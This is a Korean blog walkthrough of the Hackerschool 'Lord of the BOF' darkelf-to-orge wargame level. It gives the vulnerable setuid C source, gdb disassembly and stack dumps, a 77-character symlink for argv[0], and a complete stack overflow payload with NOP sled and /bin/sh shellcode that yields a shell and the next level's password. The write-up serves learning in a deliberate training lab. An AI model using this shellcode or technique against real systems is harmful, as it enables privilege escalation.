[lob] 해커스쿨 darkelf -> orge 풀이

해커스쿨 darkelf 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

darkelf 문제의 아이디인   darkelf 와 password인   kernel crashed 을 입력하여 darkelf의 유저로 접속합니다.

 

 

 

[darkelf@localhost darkelf]$ ls -l
total 20
-rwsr-sr-x    1 orge     orge        12700 Mar  1  2010 orge
-rw-r--r--    1 root     root          800 Mar 29  2010 orge.c

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/darkelf ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 orge.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[darkelf@localhost darkelf]$ cat orge.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h> 
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

 

 

cat 명령어를 사용하여 orge.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

힌트 코드를 분석해보겠습니다.

1. argc가 2 이상이어야 합니다.

2. argv[0]의 길이는 77이어야 합니다.

3. 환경 변수를 사용할 수 없습니다.

4. argv[1]의 길이는 48 이하여야 합니다.

5. buffer의 공간을 사용할 수 없습니다.

분석한 것을 정리하자면 우선은 파일명을 77로 만들어야 할 것 같습니다. 

 

 

 

[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "A"*63'`           
[darkelf@localhost darkelf]$ ls -l
total 84
lrwxrwxrwx    1 darkelf  darkelf         4 Jan 14 13:30 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA
 -> orge
-rwsr-sr-x    1 orge     orge        12700 Mar  1  2010 orge
-rw-r--r--    1 root     root          800 Mar 29  2010 orge.c

 

 

 

문제를 풀기 전 A의 길이가 63인 파일 하나를 심볼릭 링크를 이용하여 생성해주었습니다. darkelf 문제에서 파일의 길이가 77이어야 하는데 orge 파일 이름을 수정할 수 있는 권한이 없기 때문에 우리가 만든 파일을 실행하면 orge 파일이 실행될 수 있도록  해야합니다. A개수가 63인 이유는 현재 경로인 /home/darkelf 을 포함해서 총길이가 77이어야 하기 때문입니다. 

 

 

 

[darkelf@localhost darkelf]$ gdb AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>
:       push   %ebp 
0x8048501 <main+1>:     mov    %esp,%ebp
0x8048503 <main+3>:     sub    $0x2c,%esp
0x8048506 <main+6>:     cmpl   $0x1,0x8(%ebp)
0x804850a <main+10>:    jg     0x8048523 <main+35>
0x804850c <main+12>:    push   $0x8048690
0x8048511 <main+17>:    call   0x8048410 <printf> 
0x8048516 <main+22>:    add    $0x4,%esp
0x8048519 <main+25>:    push   $0x0
0x804851b <main+27>:    call   0x8048420  <exit>
0x8048520 <main+32>:    add    $0x4,%esp
0x8048523 <main+35>:    mov    0xc(%ebp),%eax
0x8048526 <main+38>:    mov    (%eax),%edx
0x8048528 <main+40>:    push   %edx
0x8048529 <main+41>:    call   0x80483f0 <strlen> 
0x804852e <main+46>:    add    $0x4,%esp
0x8048531 <main+49>:    mov    %eax,%eax
0x8048533 <main+51>:    cmp    $0x4d,%eax
0x8048536 <main+54>:    je     0x8048550 <main+80>
0x8048538 <main+56>:    push   $0x804869c
0x804853d <main+61>:    call   0x8048410 <printf> 
0x8048542 <main+66>:    add    $0x4,%esp
0x8048545 <main+69>:    push   $0x0
0x8048547 <main+71>:    call   0x8048420  <exit>
0x804854c <main+76>:    add    $0x4,%esp
0x804854f <main+79>:    nop
0x8048550 <main+80>:    nop
0x8048551 <main+81>:    movl   $0x0,0xffffffd4(%ebp)
0x8048558 <main+88>:    mov    0xffffffd4(%ebp),%eax
0x804855b <main+91>:    lea    0x0(,%eax,4),%edx
0x8048562 <main+98>:    mov    0x80497d4,%eax
0x8048567 <main+103>:   cmpl   $0x0,(%eax,%edx,1)
0x804856b <main+107>:   jne    0x8048570 <main+112>
0x804856d <main+109>:   jmp    0x80485b0 <main+176>
0x804856f <main+111>:   nop
0x8048570 <main+112>:   mov    0xffffffd4(%ebp),%eax
0x8048573 <main+115>:   lea    0x0(,%eax,4),%edx
0x804857a <main+122>:   mov    0x80497d4,%eax
0x804857f <main+127>:   mov    (%eax,%edx,1),%edx
0x8048582 <main+130>:   push   %edx
0x8048583 <main+131>:   call   0x80483f0 <strlen> 
0x8048588 <main+136>:   add    $0x4,%esp
---Type  to continue, or q  to quit---
0x804858b <main+139>:   mov    %eax,%eax
0x804858d <main+141>:   push   %eax
0x804858e <main+142>:   push   $0x0
0x8048590 <main+144>:   mov    0xffffffd4(%ebp),%eax
0x8048593 <main+147>:   lea    0x0(,%eax,4),%edx
0x804859a <main+154>:   mov    0x80497d4,%eax
0x804859f <main+159>:   mov    (%eax,%edx,1),%edx
0x80485a2 <main+162>:   push   %edx
0x80485a3 <main+163>:   call   0x8048430 <memset> 
0x80485a8 <main+168>:   add    $0xc,%esp
0x80485ab <main+171>:   incl   0xffffffd4(%ebp)
0x80485ae <main+174>:   jmp    0x8048558 <main+88>
0x80485b0 <main+176>:   mov    0xc(%ebp),%eax
0x80485b3 <main+179>:   add    $0x4,%eax
0x80485b6 <main+182>:   mov    (%eax),%edx
0x80485b8 <main+184>:   add    $0x2f,%edx
0x80485bb <main+187>:   cmpb   $0xbf,(%edx)
0x80485be <main+190>:   je     0x80485d7 <main+215>
0x80485c0 <main+192>:   push   $0x80486ab
0x80485c5 <main+197>:   call   0x8048410 <printf> 
0x80485ca <main+202>:   add    $0x4,%esp
0x80485cd <main+205>:   push   $0x0
0x80485cf <main+207>:   call   0x8048420  <exit>
0x80485d4 <main+212>:   add    $0x4,%esp
0x80485d7 <main+215>:   mov    0xc(%ebp),%eax
0x80485da <main+218>:   add    $0x4,%eax
0x80485dd <main+221>:   mov    (%eax),%edx
0x80485df <main+223>:   push   %edx
0x80485e0 <main+224>:   call   0x80483f0 <strlen> 
0x80485e5 <main+229>:   add    $0x4,%esp
0x80485e8 <main+232>:   mov    %eax,%eax
0x80485ea <main+234>:   cmp    $0x30,%eax
0x80485ed <main+237>:   jbe    0x8048606 <main+262>
0x80485ef <main+239>:   push   $0x80486c8
0x80485f4 <main+244>:   call   0x8048410 <printf> 
0x80485f9 <main+249>:   add    $0x4,%esp
0x80485fc <main+252>:   push   $0x0
0x80485fe <main+254>:   call   0x8048420 <exit> 
0x8048603 <main+259>:   add    $0x4,%esp
0x8048606 <main+262>:   mov    0xc(%ebp),%eax
0x8048609 <main+265>:   add    $0x4,%eax
0x804860c <main+268>:   mov    (%eax),%edx
0x804860e <main+270>:   push   %edx
---Type  to continue, or q  to quit---
0x804860f <main+271>:   lea    0xffffffd8(%ebp),%eax
0x8048612 <main+274>:   push   %eax
0x8048613 <main+275>:   call   0x8048440 <strcpy> 
0x8048618 <main+280>:   add    $0x8,%esp
0x804861b <main+283>:   lea    0xffffffd8(%ebp),%eax
0x804861e <main+286>:   push   %eax
0x804861f <main+287>:   push   $0x80486df
0x8048624 <main+292>:   call   0x8048410  <printf>
0x8048629 <main+297>:   add    $0x8,%esp
0x804862c <main+300>:   push   $0x28
0x804862e <main+302>:   push   $0x0
0x8048630 <main+304>:   lea    0xffffffd8(%ebp),%eax
0x8048633 <main+307>:   push   %eax
0x8048634 <main+308>:   call   0x8048430 <memset> 
0x8048639 <main+313>:   add    $0xc,%esp
0x804863c <main+316>:   leave
0x804863d <main+317>:   ret
0x804863e <main+318>:   nop
0x804863f <main+319>:   nop
End of assembler dump.

 

 

 

darkelf 파일을 gdb로 분석해보도록 하겠습니다. 
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

1. 0x8048503 <main+3>:     sub    $0x2c,%esp 

0x2c를 10진수로 나타내면 44입니다. 스택에 44byte를 할당하였습니다.

 

 

2. 0x8048613 <main+275>:   call   0x8048440 <strcpy>

orge.c 파일에서 strcpy에는 argv[1]과 buffer, 총 2개의 인자가 들어가고 stack에 push 되는 순서는 argv[1], buffer 순서입니다. 따라서 <main+274>에서 push 되는 주소가 buffer의 시작 주소입니다. 

 

11011000 = 00100111 = 00101000 = 8 + 32 = 40

buffer의 시작 지점이 ebp - 40부터인 것을 알 수 있습니다. 

 

 

 

메모리 구조를 보면 아래와 같습니다.

 

 

return에 넣어줄 argv[2]의 시작 주소를 찾아보도록 하겠습니다.

 

 

 

(gdb) b *main+280
Breakpoint 1 at 0x8048618
(gdb) r `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'`
Starting program: /home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'`


Breakpoint 1, 0x8048618 in main ()

(gdb) x/100x $esp
0xbffffa14:     0xbffffa20      0xbffffbd6      0x00000013      0x41414141
0xbffffa24:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa34:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa44:     0x41414141      0x41414141      0xbf414141      0x00000000
0xbffffa54:     0xbffffa94      0xbffffaa4      0x40013868      0x00000003
0xbffffa64:     0x08048450      0x00000000      0x08048471      0x08048500
0xbffffa74:     0x00000003      0xbffffa94      0x08048390      0x0804866c
0xbffffa84:     0x4000ae60      0xbffffa8c      0x40013e90      0x00000003
0xbffffa94:     0xbffffb88      0xbffffbd6      0xbffffc07      0x00000000
0xbffffaa4:     0xbffffc6c      0xbffffc8e      0xbffffc98      0xbffffca6
0xbffffab4:     0xbffffcc5      0xbffffcd5      0xbffffcee      0xbffffd0b
0xbffffac4:     0xbffffd16      0xbffffd24      0xbffffd67      0xbffffd7a
0xbffffad4:     0xbffffd8f      0xbffffd9f      0xbffffdac      0xbffffdcb
0xbffffae4:     0xbffffdd6      0xbffffde3      0xbffffdeb      0x00000000
0xbffffaf4:     0x00000003      0x08048034      0x00000004      0x00000020
0xbffffb04:     0x00000005      0x00000006      0x00000006      0x00001000
0xbffffb14:     0x00000007      0x40000000      0x00000008      0x00000000
0xbffffb24:     0x00000009      0x08048450      0x0000000b      0x000001fa
0xbffffb34:     0x0000000c      0x000001fa      0x0000000d      0x000001fa
0xbffffb44:     0x0000000e      0x000001fa      0x00000010      0x0f8bfbff
0xbffffb54:     0x0000000f      0xbffffb83      0x00000000      0x00000000
0xbffffb64:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb74:     0x00000000      0x00000000      0x00000000      0x69000000
0xbffffb84:     0x00363836      0x6d6f682f      0x61642f65      0x6c656b72
0xbffffb94:     0x41412f66      0x41414141      0x41414141      0x41414141
(gdb)
0xbffffba4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbb4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbc4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbd4:     0x41410041      0x41414141      0x41414141      0x41414141
0xbffffbe4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbf4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc04:     0x4200bf41      0x42424242      0x42424242      0x42424242
0xbffffc14:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc24:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc34:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc44:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc54:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc64:     0x42424242      0x00424242      0x00000000      0x00000000
0xbffffc74:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc84:     0x00000000      0x00000000      0x00000000      0x00000000

 

 

 

argv[2]에 B를 100개 넘겨주었습니다. 그리고 gdb를 통해서 확인해보니  0xbffffc07 부터 argv[2]가 시작되는 것을 볼 수 있습니다.

 

 

 

[darkelf@localhost darkelf]$ bash2
[darkelf@localhost darkelf]$ /home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
`pthon -c 'print "\x90"*44+"\x07\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x
68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
üÿ¿
Segmentation fault (core dumped)

 

 

 

bash2를 입력하고, return 부분에 argv[2]의 시작 주소를 넣은 후 AAAA.. 파일을 실행시켰습니다. core 파일이 생성되었기 때문에 gdb를 이용해 정확한 주소를 확인해보겠습니다.

 

 

 

[darkelf@localhost darkelf]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `/home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA '.
Program terminated with signal 4, Illegal instruction.
#0  0xbffffb56 in ?? ()
(gdb) x/100x $esp
0xbffff9a0:     0x00000000      0xbffff9e4      0xbffff9f4      0x40013868
0xbffff9b0:     0x00000003      0x08048450      0x00000000      0x08048471
0xbffff9c0:     0x08048500      0x00000003      0xbffff9e4      0x08048390
0xbffff9d0:     0x0804866c      0x4000ae60      0xbffff9dc      0x40013e90
0xbffff9e0:     0x00000003      0xbffffada      0xbffffb28      0xbffffb59
0xbffff9f0:     0x00000000      0xbffffbe7      0xbffffbf9      0xbffffc12
0xbffffa00:     0xbffffc31      0xbffffc53      0xbffffc60      0xbffffe23
0xbffffa10:     0xbffffe42      0xbffffe5f      0xbffffe74      0xbffffe93
0xbffffa20:     0xbffffe9e      0xbffffeae      0xbffffeb6      0xbffffec0
0xbffffa30:     0xbffffed0      0xbffffede      0xbffffeec      0xbffffefd
0xbffffa40:     0xbfffff08      0xbfffff1b      0xbfffff5e      0x00000000
0xbffffa50:     0x00000003      0x08048034      0x00000004      0x00000020
0xbffffa60:     0x00000005      0x00000006      0x00000006      0x00001000
0xbffffa70:     0x00000007      0x40000000      0x00000008      0x00000000
0xbffffa80:     0x00000009      0x08048450      0x0000000b      0x000001fa
0xbffffa90:     0x0000000c      0x000001fa      0x0000000d      0x000001fa
0xbffffaa0:     0x0000000e      0x000001fa      0x00000010      0x0f8bfbff
0xbffffab0:     0x0000000f      0xbffffad5      0x00000000      0x00000000
0xbffffac0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffad0:     0x00000000      0x38366900      0x682f0036      0x2f656d6f
0xbffffae0:     0x6b726164      0x2f666c65      0x41414141      0x41414141
0xbffffaf0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb10:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb20:     0x41414141      0x00414141      0x90909090      0x90909090
(gdb)
0xbffffb30:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb40:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb50:     0x90909090      0xbffffb56      0x90909000      0x90909090
0xbffffb60:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb90:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffba0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbb0:     0x90909090      0x90909090      0x90909090      0xb0c03190
0xbffffbc0:     0x8980cd31      0x31c189c3      0xcd46b0c0      0x50c03180
0xbffffbd0:     0x732f2f68      0x622f6868      0xe3896e69      0xe1895350

 

 

 

core 파일은 위에서 실행했던 페이로드에 대한 결과입니다. 따라서 빨간색 부분이 argv[2]의 시작 주소가 됩니다. 새로운 주소를 보니  0xbffffb5c  이고, 페이로드를 구성해보도록 하겠습니다.

 

 

 

페이로드

/home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*44+"\x5c\xfb\xff\xbf"'` `python -

c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\x

c0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\x

cd\x80"'`

 

 

 

[darkelf@localhost darkelf]$ /home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*44+"\x5c\xfb\xff\xbf"'` `python -c 'print  "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x 68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
\ûÿ¿
bash$ id
uid=507(orge) gid=506(darkelf) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker

 

 

 

id 명령을 사용한 결과 uid가 orge인 것을 확인할 수 있고, my-pass를 입력하면 orge user의 password가 나옵니다.

 

 

 

orge 비밀번호

더보기

euid = 507 
timewalker

 

이 글을 공유하기

댓글

Designed by JB FACTORY